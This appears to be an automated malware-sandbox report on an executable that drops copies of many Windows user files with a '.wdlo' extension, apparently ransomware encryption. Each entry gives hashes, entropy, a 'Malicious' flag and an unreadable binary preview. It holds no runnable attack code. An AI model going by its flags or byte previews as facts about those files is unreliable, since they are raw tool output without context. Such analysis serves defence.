Preview:	A....D.c..q...4.~.....'.G.A...m%8.....a....%..K.7..b......\K.9.........-.i..].."..S[.F.....2k\q.M..^.>.F..-.#.a.+.&P..v%...f.]]...B..O'.5D.o4...)...i.C~...-\i....b.f....X..]6....!.(-@........?..DY...g%0^.a.Q..9....6...K.i:.D3....e.:a.1...%.z..\|..t....T....<%.oY2....FF{j....2.lq.7.R......z,.R......i..5.v....9......M....z0.M..h....G..J\|&...MU...R.Zx..._hjH...N1g%...X...8...!W.#....L..K.... .C.....7.[lW..0.~[...K.....2....&.c;-......p.g_~.,,..ou.&.......D.\.... .A..=..$.....4.....1.N..D...............A.+7..u./..H....;o(.{n...,.].{V.......X.g....:"5..........r.F.o.4g..&.._B.....v">.......j[..{s2..f.....^...g..%.<^..5m..@YNCL...`.Q=..Z8...?......<>..=..d....-........F..:q..\|..6...4.....?\|D+.H,WY..u..."..S..!9-+:wZ~K.........9.........^.<..G5S.m.qI.....E&)....g.b.E..P.,..J.&...J}.<....r..G.^.B`%.C.<s..\.M.Y.......q.d\|g4.ei..!!.e.*v....Y......$.v_.h.......B.(\N@...B........5.N..ZEK..<..7._V...p..a>9...o/..7..[`..S...o.D..w ....Lc!KH.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edb.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010824755806515
Encrypted:	false
SSDEEP:	3072:SSbdGnckIVSlsPFZszhwAsHVMMsfaoPardA7xMsyRdRqKNOT7VRPDkSSnLRrR7tS:zbocpoudcYQCWari7xMsHkBy
MD5:	F3C78301C6C3AB5B45A43FD6C5E2EE5B
SHA1:	34D440F05AFA875EDCFC24EC400B76567BA75D8E
SHA-256:	0A1FF6233813B2F7832B5C068CAC17FBC6FB186A5AEAEBE26BC65F86F14A580B
SHA-512:	A6D3610733A9AAEF5C3FC05FE1BA90BE2D2E364B3E742C842E64E324B9A182A01BB283516B3F0759B678D5E07C405946939D0E4DFD146E5D8EDAF64EAFB9A679
Malicious:	false
Preview:	....@k.jR......JJ....f.....D...r@.j....a..?.e.I...x..^3..v..=v.n.%\|...1B....r..6....r..,\.....$.V..;+..U.B-/\|s.I.....Wr.\|.7.. v\.nZ.....fj..=/.....X.UQ.W..avXy...5.Y_.y~-..i..n.m....3."+..0.U..Ii.J./..........D..-....q........Dla..E.....z.9n}..-e......`..kN..%.Sju.Q.S....8Q.zf8+.!K.Wz..fI..\.....e...:d.6..`..y..e.`v.F...`...v{.u..qO...c.`Y.L..E....].X9..!....."..................U9...--.x...\|J......q...l.O.<.........+.M.Eb[f..E..\|..,..[...Z.......<$......SB..R..K....J...~r.....&..&9..g ..L.=..aE.d..8U..f.s...T"#.T.;.x...d.X..s....fw.0..{......Se.Pr....5..ml.H....Y.X::.......hR......y... .........us.6t7....!.T..'....(..T.I.i.f:gU\R.G=.d&..f.I..3../aAb)...j.x...RR^8...(...W/qO............2.....T..[..."{m......r...ir...o....W.u....rX.a....Z...'L.E1..d.:..(w2u..^....=..Fjk..{m%9E[.4.@.G..qA.2Ssg..(.....z#pEsm.....Hz.....~f.......F.O>....e..%.OO@.....SfI......q}+..MB9##..+(.(.D.Wrk..C....Kx..rM.."](....ow........*.'oe&\|......RL.1....I

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2080439816967705
Encrypted:	false
SSDEEP:	3072:+MXrDG/1z9Y1KPOaADb64NGzA4V5jSVnCptIHj2uC71hPW6WK8b:DDG/1zjDw6GGPjSyID2b71hPW6WK8b
MD5:	0B74E4FC214D2E0AA2D0C7AA1CC70CFA
SHA1:	62AC486A45AAA851ADBF7C94973328F5555270C4
SHA-256:	5E1D22762CF32FE4A722B68D742AC3CA4CC7B143761F98B87DB029BBFC06F25A
SHA-512:	C95C0FD3FFEDFE7D0C7A037FF398D7B4564DCBE11D4AB4C4FFF542987517CB9DA9C870AF66A0F19AB9B75F0CBC0F22518923DA35C5BCCBE711430DBEA8199779
Malicious:	false
Preview:	.....\..J.!..t....z,...........&..g.i.d.M=.^...m.X.=.f.8UI~.w.d^.Qk?.G...T.9....y.z....P....m..!r.E...k9..ua...M..........T.M..4.....`HdkF.C.,(Y[i.Y2Z.Bf..2..T..x.../.......I.l.&.#M.J..<n...8.L(...I\|p.x.X....._I[..~=.^..y.]i[.y~....w..pcS.`.Y..u...\..#1.px...%........h...\|b...R(..mj..U...#..........D.......LL.y....F..6.C...0!..iTL..B.......P.yS.....(..w....=.Rr.:.q.J.v..{/.l..H..=.....s.`..~p,c....\|...H..T.m.....J..p.?..r..R.6UJ.>...2...(...)"........?.vz&3/..F....k.x...rXX>?...z?G....[..JVoz,:..h...U...En...Io...v....0.`...5...Is..NS2...!......$@.....ow1...C.....<..e...Lz..[...Wn..&.:..z.s..fQ.I}..cmub.}z.......j..^s.R...I./"....Q?.C.}.Z...>.K9Y7!+.sfU.\....:......B..c`oF$w.. .Zg......l.R..P...B.)._:.z..~.%..........=.4.b..:....o.e.~3L.k.."X......J..0...5R)..f.w.VQ..td,]...V..+...7.vK.>..z..b.,~..#.s...;6..D^.c]s........1]J5.....4..l..7...........Y..'i.....g.k.h......v..'.?......o......<Sz..P.......!....v..e.E4.....Q.... %..

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208888396886372
Encrypted:	false
SSDEEP:	6144:d8anqYHjoOeCPtBJWVYGJwIUjHQkW8gTdGY:yUhH8O11BJWhrxTMY
MD5:	5C8C757A4AA84F5556892834A7524B49
SHA1:	D434ADFD991380BCF3292D10D33883ED6045EDD0
SHA-256:	B19EE3B97B0378DFE6BE4251742CE93AD6FBEBFDDC3C50B5BC88BC921238C978
SHA-512:	52B45161F514E9A25D5AC9A2774D4912B28CC02E7AD625929811E5D29C45FDBC4FB2C281DFA4A7DA5BB40D3A50DCE9FFFD0E67D4FEA69B688761FF20425934B1
Malicious:	false
Preview:	......p...]..\|O.S..7..;.F..C+.@.W.... ..oi...}......"...L.._[...\{.jB-.r\..>k)..../<.....Z.S...$.ZO....[..QYx..:...2A..5.....Q..tWl...{..#...4).YO......_.......j...?..9..;...WGr....YrD..(....s\|]...y.=.........Wt.>.D..F...>....)=.W.#,...>.W..4..U\|.l.:Pe.\|..$m.Z..#PN.b..9t.[.X..F.3..G..a.Q...!...'..c.3.7...np...Dw5V....s..9_;...$.Ik.U....!...h...Ny.=a...u.\|P.o.4..>{g...Kq...Q..+v....7.C..?dd3<.X...7....>.N$G....9......d.N....Z.k.w....h+?.M2.9a..dp~.!O\|x..../.f..h,.\|#P.k..,7#..~.c@\s.5.(F[@...>(w...."..P.}'j..... ....U..S..4.J.%..V.H../..i.@Q...N.:.];....e..Jg..@...W4.....o.Y,.8...owGG._\..4.1p..E..,...j3......./...`...Cv....Df..3.].<.r.?~.lv.....@]N.f........eI:.,.m....\R....ks.....;.....H..{.#.....b...+.J..P.Kv.+*9a%..W.a5F..C...u.7.mw.7i.M."...I.D.F.u.'p...).O.;....E....5..0....-#..l.^.k.4....<^. ......C.m l.. Q....,/1.....[2P~.N#z..qbI..?6.....I6.?........h...i[...A\^...;...j.8.....Qn$v9.-...d....U6P.{..d.\|~...s....<..Z.......^K...&

C:\Users\user\Local Settings\Microsoft\Internet Explorer\CacheStorage\edbtmp.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2077193459124786
Encrypted:	false
SSDEEP:	3072:5Gj7DmegvQCr6wFCh4lWXmj2hIhAjIOFIkw/WyIPh9eYQ+Oc:5OpOjehgkmwHEOFRa+oYQxc
MD5:	6E08168E29FC5EAC9D0F4EE300A3A752
SHA1:	ABF280D437D209ED91CDD33BDADCEF62690A036C
SHA-256:	E2A452FF2FE1ED6AD046C19E58E5128CEE8D58FA41BBBC9244C6E0C8DFA88317
SHA-512:	31245D16AE8211F3C06E2291BA8AABA4074E110422C0565E978A98011CF5F06BE44C6177ABC98DEACE66F419DE673BE87F7FE06D2CFAE62DF166A4C83EEA9168
Malicious:	false
Preview:	......#.e....g..4.....\34.....}...P.~H..\.J..]......:......J.S.`..#...YX5ES.y^...x+.=aYy.M....[.g..Y...7^.."....u.y....2.Q...w.Ge...g......+H.Vm.mn}.Z...Q.....Y.X..,fB.j#~8.....B.....:.!.XJQ..7m......%..y?......,.O.g...Ko......'.R1.aE.v.3.X.DU./..h.v.m0.3.u..>.ar..x.>.5.E..lcZ!.s.S..^.H.M........8...[~%.7p~OL...3\|.i...\.T..J.j....P...]Y.^.....=DFz......D..U_^%S..Z.../..G....d9dC.,........@..:6.........;4.V.W......N5....#..J..$....s"......\\.+..L..n.b...^.D......'.W8.^.n.C..L...>..<..N.<..d...t/.V.'.x.........4...B.</91$....."....%...(.x\n.6.....S.......)}!@5.c..<...:.W.....}.dYh.#...~..OJL.....].>..f.%.l.V....[{..9.~e..R....0i.S..d...Ks:3..6...Tb...V...F....j.G...G.A:C2.;.].:....x.i.8.....I.k.x..E..p...B<...."....h.>.9.p~..p..F.P=.....{D..Wxj..,.....x....wQh.i.rW...E..O....\..._...K.,.?..9R..w.LF...0...6.#...,.J.@.?.[%.n.j...C ..EU.-.}sQ~L....2..u4.=..4d..B"7.n..6\!.K.....3.s..S#2.....N......].A...@Lp...2i<.l}._.O.

C:\Users\user\Local Settings\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.944446935815265
Encrypted:	false
SSDEEP:	96:DEcoyGl+ivADdKPWGmu8BDe9g1Xe3Yvevqdl:DEvt+m+bGmLGh3Yve6
MD5:	DC51BAC44E538DA37CB6B60AB2FDC2DE
SHA1:	9DBC296433E4AE829B6083373D2EC877E9D11A4B
SHA-256:	021018E8A8FEB489031C11DAD163D6457EF30E5457E4520218A90B4A16BDE63D
SHA-512:	290FDB2F87DBD9158D12374DF72F5A06ED18FE1EF9083871B57176CD7D484DF448CF785AF7DA0E36A2BAEE081051317927512921751480FDC9B2C845C9F0B0A7
Malicious:	false
Preview:	<?xml..v...$A..9...A...Y....U..;$2.....<....M.d.\9,.W.)V...\x.[....}. ..f..I~-b.........g\.O.<...y.+.IW..DL..`....._Xn.....&.b=.s.A01..@U.E.7E..6..G....^.;N,3....@...}.Z..C`R.d..y..+".Z{F..D...(N.C.o..D...ac..e..e5j...0..b6..l..9.>.6.?0...[zN.R.R..Q.W2..;{7.F+.;..,.a.....i.9.c..y..<.(....H..:u...-jy........,......=..6},......AgLC.1b.~<...7%....bH!o...q9.bq:..b..:.U[.....T.W..[.e..yy.....KW....cW...c./.-..nb.....Z......^oYI.y..f..3.{.!....._........>......O..(Yb.(...7.\D.18....E.....?l.Y..'yn.R.<.K..C9-._...............=T...q../4..7...{......H..../{8....-E...(M.h...e...8.08:.]..9[.VLde.X/..W..oHK....=.....\...v.y!.....g[.x.4.3R.I.O...q.3....d.lL-K..N..S.........3 .PHVy.l=....V.8.%0..<Ro?..G.C.2....Ka....;..'..."....tx..B.HU.U..1...X(...._#...x...f#/L..bw..>.k...1...p..-.....WY..:.~..eJE.OVwq5.d......`N...pw....^D.....j...!$.'...).f.[#$7 ....,,...)!.`c...B.tS.H.G..Q.47P..........J.3........0........Z+.O._rT]W.....}c.>....Sf9...N

C:\Users\user\Local Settings\Microsoft\Internet Explorer\brndlog.txt.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.977615217801194
Encrypted:	false
SSDEEP:	192:7+R8eiRjKOOnNAkU8GSKIsoJ5ragSsJSNgIJRTgXLLO:748eiXOnNASnJ5HSdgIJRTgXLLO
MD5:	4D18FE57ED373521E282D27C4B7A7E92
SHA1:	2B8B076A67CB407655DE3B93BACC6024B7CD7AEC
SHA-256:	59EE1EFDA0DF8F6C39FBBCD8FFDA64154B20065B37B86AAD848DFD85ADB701CD
SHA-512:	74E84E917980A2B1C0DE40C17EC9D373511B74DD012BCA004DED73004BA4E5FA4F92087129DCB6B4D762F01000794FD198890FB6E29A9263DACA93B872F027BF
Malicious:	false
Preview:	10/03..s.m{.@C.~..!5....E.....g[...LeU."[;..7..%.>...q.B...u.pgz.y}...$....L.G%5.z03.....R_m#..S.Q.p...v....sRc2\X.-....g..`(...E2P....<AA.%p...%.......J...(.~?..e...Mk.emqi.j..`'T..D.Z...."..TY.1..&.....\..`...}.31..... .[I.....R..>S.c......a..J..[.+.,..-v...-..9Am._y...\|.....pj.....O...J.......w...{...!....{..d......&.#}.r(&...T!..$m7.y.....o.O...bl.\.&I.{..#.6$i......./..q.J.T..%.Z.i.)\|.....pb.R6i.:.V..X...`..U.U........[..gPA.g...d.t...(_...............N.(!f..h...@..nP..>...9....x..z.i,..HR.....X........IB....A7P%...;.1.(..k.b.F..E.8.....&i..~]....+.82..<e.s.^.....x.=.....O..j.;.t%.D_....P.4.s..T."......v.r.T.:...S..0c.D....Q=....V...p.B&..n.QAe .......D...@L....lY.p.Fb..H.v.o....&...u.......{e...H.\L..O...Q.....7.Ta.[.#.TK._-..:.{Z.D<@.~D\|..J.4.=7Q...6..&..nU;.F=e.`...9.iJ..!...L....VC .Re...fq..8q H.]..jG..........m..*.^...I..U...xrv.Mo,.)..^U ....m.Y.}..h.m..?6\|..`.co....lo....s.br.\..b\|A...p....)..v... 6.6?.P...?...

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.73059440712535
Encrypted:	false
SSDEEP:	24:QEjk4zsf0mkRiqrJXOrNoI/eODOgcgbXMm3zbD:9jkHcmkoqr1e6uHDVcgAm3nD
MD5:	18B9B1D125F8FEA19DA0FE02C27D3AA2
SHA1:	430D0245DA99835A45E3D967B9542DA71ABC10F8
SHA-256:	A82A54C2F57418EE5B5BC6638379A37E722A6747605AA7E9A1CCE3FAB0AFB31A
SHA-512:	27DEB82F30F8EC6EE79FC82B78BB0F68455CA71A64B4D9EF9B27D98C3F094AC095725D5B91F64ED081535A3F89E41593A9020A35A1A439D1BD7FEF9A6E2ABDA5
Malicious:	false
Preview:	..1.0/..F.e.."..~.j.g..O=.......]C(.....N]..5..X]`q.y..n..~...&).Y.6.9....iB.uz^.'`o..5..{.R......=w.0....$&l0."..........~.G2....D.x3..z.G.X....)..,...).....W<......imb.#E5P...@x,.oJ.o.i.+.8m.q...K.yYx..k....3.@..#..+zY..4..":.[..j...S.w04.......!.C.t..`..%.9..Z....Pd../..~..\W..O..e..u..........qm....-..-.0I:.,.R.H..(d.I&.^.B.y.._..c......_.a......1@(......E......./$..?u(.M..vZ.H];...x.G.x..\...A...QB.`?z7..f.m.k.3.......5....+As-....i...aQ/5.-+Q..T2...?...K;J..$_.fjj...g.....+;....8..F..$;.. .X.u...\+..w..;`.+L.....x..n....^J.,o.UU.#J.g......T.w..#..........3...%-../,.X6dg56-W....M.T/.........W.......l'.\..o..vl...N.=8..Ll.&qy..WM3..1..n.l3.\|.x<r...`..b.8../H.D/...*C&.7.....B.Yy..r`.$.4....`... ..Oi0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Internet Explorer\ie4uinit-UserConfig.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889303317440916
Encrypted:	false
SSDEEP:	48:4DXAVpFNbWlZJ99ZLmKIhf79Zaa0y5VaA23nD:AXAVLNbWlZnFg7rfh/o
MD5:	CFBD6EA907F3AD14A0637E7E344B3169
SHA1:	572EB1F4C46F2F24C9B60E8E902171E295BF3D1A
SHA-256:	676A3139BF7200AA49897FB4E44C6E757CD3D74D265B28BA9E5C990F7EEAAC03
SHA-512:	99DD0906374BB5A3DB7D2DADB2304415D9484A514EA2ED83E9244F6FA6DA5CB387B3E3CB1A10ECF0D33250F6213BA84C4598E678AA23CBCB75D683567B9319E3
Malicious:	false
Preview:	..1.0Y.C..>.Wh.Ao....a:3.0Y:1..@QJ.B....7.}.g9.`xIXU.+....z.OR!sPc?..R18h.......\.M..T\|o0../n..a....#...q.D...f..d.f.b.\..'...^R..2SA\...e...^bk&....].....E.=.L.....~Ka...U..8}.5{t.e.F%..&...7.\|.O..l..:.}.-W(.e...#....CK...K.b..J!..K.J&...Z..]...7.7.n`>.Vv..........P=w..%.kA.....a....x..V\|.a.+.i.3d.O..n.FBB..=r.<.....U..m.Vd.J@.x.i.u3.]....U2~.s.;e/]&e..[2d..{.}..'....2D1..:...!0_{.O....h.^$......8.=O...7...aYw5....b......U.~.Lt...dx............pMv)...G0..T....5.G.\5.8/..u'D.c#q.I..tJI.dwDU?.R...........6...h{..{<!gs.......k:....W4j..$..c...^..M.).ryU..4...y\|...yp%<.;b B..ye-+e.......F.u.Nc.......y....@..Q.Wq4.....w..I..O..p.....85..DYZ.s...6Q....w.......n.4...`...2...Nc......(/.,...h}X.O.O'.X5.k.nR...vi..U7.4...IHS.{...K...v...Ow...mx..{...g..(.\|.<@Cu~...8..T.9t......#...........S(8N......hR......0&.)S.'......pe.G........:.....o...i._..?...E.Z.....`.3..#..v...#."</..f...6..m..u..."5V;...-.,.....\|.}..H.}.-eC..k.wy1..H+...wH.&..i......L...P.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	208087
Entropy (8bit):	7.725643889182691
Encrypted:	false
SSDEEP:	6144:6BL3/9U7VxSQ1gRIzsiPRUEoKtdNdPKICuy:sDVkbp4esCCE/qp
MD5:	BF2A5223CE0E8D0BD35BBBBB406E490A
SHA1:	758AFCF2DD716C4799325C541864F3B31C52C981
SHA-256:	6A1DA55A6D4061DEB4651FBD6D6B1A5C7B332AE009532BD81E8197FA4FC45AB5
SHA-512:	B8AF49D42C3E873BF869EFCBA6CBE0C79C168D7CA30AB2125E1FB7CDB57D955151D5279D0A1072CD6FF1FE771452801F0E2A1C21952284B47271EEF23CA5AB3C
Malicious:	false
Preview:	<?xml.!...3N...!.6..N.E.y.h8.^.o.#.6...e........D...Y........L=.\-..m.....Z.;..+.I.,........dN.U.9.uG...RH.\|.%.i=..l..k.K.@jE.N......e=..[..'H........-./..Ll....pc.!..0.......{v.}.<.8.@.....Fl../..].u....E.....~.RP./......r....>V(./S...=l..Z..+....U....j....{.\|......0...A.Ca.vk,....6.pwZ..a.<.....&d...UY>. .7.} ..t9oc.+A.n..t..Y..........Cya.V...q.C..K.......Uy.2........c...R........+.?vt'O.....dy......P..\|..QFj...w.]}9.[.t.I.PfV......W......$.6.Zk.3-....I.....7...X.....].=.\6...<#.._G...gB1.....&.E[Gv..._.+..$...D...W.........6$.`........Y...J.YTPNQ.C..".....@.`..............@.2.,..\|(5..<u]4p..Y...o..P....x.=.AXry2P.'.A....:......:........ .1.v.HGg.5...c..?-n..."...@g..%..........E.m.fH.[.A...'2...$.7.DD!..wx..\|m.2.)..M.En......<;.x.K..W...B....x'...0K.hrO.x)..b......^.......^.E..GW.C.q..6..i.L...n.........k....6..sk.:.X.Q"............v4jb&...{.eC.m../7..z.U.#3...b\..I.S*....wy..r..0.^b.P......)..V...M...t.$.r`O"..F..xcz....0".....M.. .....,.....q..

C:\Users\user\Local Settings\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.628060629010288
Encrypted:	false
SSDEEP:	3072:nI0SXAEoFQNBOgoHhY2efKnazak2Xna4ZhYkTuwtnWbOrsQ/ZwP:3VbQTOGr4k2Xn1hY6uY8OXhwP
MD5:	13BFE2E699D3F1D2BC368A0EE0D0A6BB
SHA1:	720180894A13D51B5828520F724723D64DB8919B
SHA-256:	A6E3C8F0219B54344E7040179F283C8841504A53D2ED5248A75A7CB5E387B29E
SHA-512:	3A1ED02D9E5D06468EE4164C94C59667ED8B76753665AC84C215159AD2C0B440720D61ED02CCF5B4B4F84A38236BF08197ACEA23AE0C30DAD67E1F2998C8AE55
Malicious:	false
Preview:	<RuleE.!.\.........P.7vF.......kq.....lI5h.&.q.]._...o..(.P.B{...b....:.b.._I.{8..._...E.R...o..4dk.H...`f...=.y.K4.X..w...4.}.j...k.c.1...l.~.Wc...W...=..A.s......st..-..._.8.ch0(:......-..$..7.;E'v/B4.nz...m..p...q.zW..Z.\..........O.......!.D.r..V....q._..W.j...r~......mG..i.D,...Z.-..x.F......XD9%..{P.].%.....Of..D...K%u(.~Ak.eD2.M.....mm...D&........DQ&w&@../{...2VJ..H.l...I.jn..c>.w..&By#.s.>"3.....}M&...[.l...I.9.R.xQ..........5......... ......w..i<.......@M..,6....C.L.3.n.z..R...C.1..&W...9(8...4..%F?...>+.+...Xf.T.{.O..^.~k...p]..=.NPJ..v..p?{.%...s.d.;y]o...P%.....:.h..@.Jy....I@.._ \|.......Qk!.C!$}...N\|;.#T.....1vs.C...$N..U...wMP.f..+.W.N..KD..\a.CT....,.re...Pe...D...G\|.....".x9.....W..\|..%7..+...k.w\|.bd.T.".'..0j5...1......m...e.k.,....2.[wl.U...w..E.....Y._..$9+lT..J....'.y2...iH...........fQA....W....k....../..T.9.E9G.,w...`..Gft.....,.\|.D)....hS..}I.-..At?..DV.A..i.`.b2.]rr.F.B..We}...I.t.kZ..&.d~..b....

C:\Users\user\Local Settings\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.517186390434621
Encrypted:	false
SSDEEP:	6144:c9ne1jZFWu32PharypFBlLfLFbnyXWnPlv:Ce19Z2Ja2pFfHFOGPp
MD5:	54735FBDF1BBF2B32B6876B089CFB6BF
SHA1:	4EA6FEE7FEE087754E996E39F91581EB03555419
SHA-256:	2E0E5E25C5EF3018654A415461E6054C6D20D7DD1BFF93153410BBCD46FA084B
SHA-512:	D65A8E075E3810543C0B8A4FAEFDE2DBB4C3A8805DB0D604D1A2F2897DF2FBB0AA4B4E78261BC09873B2DD923A651EA950AF6AFB9A6AA4CA52169F9DA7E4699E
Malicious:	false
Preview:	<Rule....V.0.xz."..ix..E.>.R[..S....a.\.v........u..JH..e.J.T#-j..X.\|.e.=....Bc.-N`.o......cz.W.....h.N\:qt>....].X..Lde.g....[.9!044k.w}...'. )..N2g.c......IG....hv........Ts.p..0B...t.(.d......#.p9..=0.}B..O..gqC......{.r........K..!H.v..x..g../.I.i...?%....u...Bj.......e.^Z.&..A.'~.FU$"8G............Z?4...W....w.......%A.g{..7.; 9.\@x...Eq.uy~...B...'..t.P..P[.@...BH....N._.G..>..2....m...&....m..mE....CT,.H.#.:.+.u.A..4.!<.O....I6<.....K..J.!.!..Q.H...@.].....p7;f..=..>..Gl..L.G+.O.....QY..........p..M.,....D.... f~>A.+N.L....E...[....n_Lkt%.)r.(..{.L?I73..7...1.G....0k..oA....7-.mY....[.!70....B..@S.p.7......h...a. ...J7.A.q.B..7...b..4..O@..%'y...zbj. .........b.Q....ZY..Ux.d..]I..ch..C;./..&NG.8L.N~k..q.\|..Zp.F.h!..z..P.I...._.?..M.y....>.-._USP.....~..B&`!..._.t.......(..!.Oq...G..yp.`.%..'.....`I..><..%*......;?....#.I..\.t...w#..5M=@t.._f.s.Uu.].."VU=G?....B.~.....k......r.{...8.<\|.=.U.b...R.r..\|....!..`..-.....[cjZ./i}GC......

C:\Users\user\Local Settings\Microsoft\PenWorkspace\DiscoverCacheData.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	1353
Entropy (8bit):	7.852648458840458
Encrypted:	false
SSDEEP:	24:Yc3R40a6zn91M4gUTrB8myHdh/iuHCfP/JjR4QTNlhpctN+goSh23zbD:YcR1gUTrB8mgfVHCfP/pR4Q/hatN+gto
MD5:	CA145A64C52A08D18F9C7D8D3C1620E2
SHA1:	5BC118F3A07AFFCC127AD4DE1183A515C94E246A
SHA-256:	A5EB6890098DCBBE8CE9C1801C3B15A4C2A90B27A5FB7E47D764857E66CB474E
SHA-512:	B6AB0D9C325E488844564C1594C4E2AC2A1C4551337346810A4647BDC1AF925210285453EB4FEC7AAB875203186488EB414B707916B1E000705E7BC3883C71FD
Malicious:	false
Preview:	{"Rec..a........).......5.g.h.C..(.B..W p2.?.5.k..F.~.C.......!c....L.K.~.....5.hZY.>$.Gw.lV.#.......:...n&..M./.#........hts.2.z....].......!..rv4.f.gp.V.M.t....\r....9.0....24>.V2#`.F.w.".p.OX....eh.X.3J~..c.%h.Y..ZB.7).#...'..GBf..GC.g.(..T.u..+...Q.."@.!.~..v..).....f.P..)......fz..!.......`.[E..b5J!..{.Z...6.t....Q..A...p...u{...=.3'U.......)...x#.E..I0^s^.[..3....%.......Y..z...p.....D9...Dl_;c.i.@.}.0.......\1.%."-..5a..MO.8et....k...C..R....A(52..4{r...P).....".c...D)_.~c.&<j.....A.....\|Bl]...F..r,gm..U..V..."dH.S.k\L.L.TJ3J.+3./.O...^......."....K/.16.'.2.j.ZY..s8....p..I.QB..i..a?>.;.?..E....J....:8...,a..%.o...{".z.....s.}Xk..t.....3...<...A..l/.,@..O.l.].W..W..{..-.vU..x.L.oj..S.k?...R.%>t{A..L...`4L ..ro3.......cotD.v..b.%..y.OZ.<.Uo......\......j.~ba^.\....C...L ..9.J.....uc..).d..\|.F.Oh.@......W../...3.k....b.. ..}AC"g...m..N...G...Q.pA...eh...1.y-.....G.....Q.o..y....C%.i.U.~<.-.f..........@?...x..Euh

C:\Users\user\Local Settings\Microsoft\input\en-GB\userdict_v1.0809.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\A9095F44928219267930271D2AD000C7B2F7F2616DB4AD186E5D3AA283D14764.exe
File Type:	data
Category:	dropped
Size (bytes):	20346
Entropy (8bit):	7.99108978110929
Encrypted:	true
SSDEEP:	384:94AQaxs8kLjCTycDzjD0JwkRIRsPu/lDz2tp571ZT+dMwGbsMuZz6gyRPHzMNB:aA7xs8Aju1zORNu9Dqtnvjh3uZegyOz
MD5:	DFFF15D62A801BF7808263DB2E96370C
SHA1:	BF02CCA5B990631462107C3FA80BB8FA586087A6
SHA-256:	8DCD937FDCBB9B469BF96D7D05DB2D24158480EDF41022AAD582BE9B06A287D5
SHA-512:	9A5C7877B7BD5214C23FA94347784A4415551B1B049611A87767D946F04E618194B22DAD4D93A644CB8801ACE4B188C5D31208A516276F0E4646D77FE91DCE83
Malicious:	true
Preview:	......?.L.K..%...F.2.Ez....~..n...k....!....g9d.g......=..(.8t.c.w.k.CV.w._..q.....dS.^.....#.@.{...}T......,.~.4...j.mbl...)...BW.L!9....i.&.@.fQ..pE. ...D...b.4..^..N.v.l....?....2.H6.d`p..L.A.0..a,b.6...#}..@(...alSR.....[M.....H&(......k.ZQ.....+.ep.GMnT.n.7....{V...<.Jv...7.UiZ.&...HD..L.....+c.:lO`...q.E`n.[{.M....`DKE.0...#.q...D.y..e....F.Y.mZ......V.?..sC..zd.1.r...5a{:.E<.Wi......t.#.XLT.....a..?.;..4.J.=..W.}..rjCHG.r.8..`.u.......\|V...Fs.A......~.j.....V.l.v].Y8.W....l^....w..B.1.Q.,SL+kF.h.B?..........IOA..Z.A...?.[.O..O.M.P.g\h..B...K..G}6...,G.....5IT..j..........P..~..h.,;...@..#7'.1v..b........g.#.U...G.U.4.@...8.?.....{..U7.-..PP....p....O9l.......Q\.WA..S.q.X..V.G..............q.h.....vn....0.9nr..Y..\.K~.y...yVC...MN..bz....2ZP.O.....+.j}.h.....R.KU...S....._G/-....1$&....l.....D$..%J.`.&......E..!5..2O....+.i...jO..4......).'b.w..V.!.OYc].\...._...1d.r.BK.R.c..).Q......^.)_...T...[.........P...R...."3L/.>e./....s..W.

C:\Users\user\Local Settings\Temp\18e190413af045db88dfbd29609eb877.db.session64.wdlo (copy)

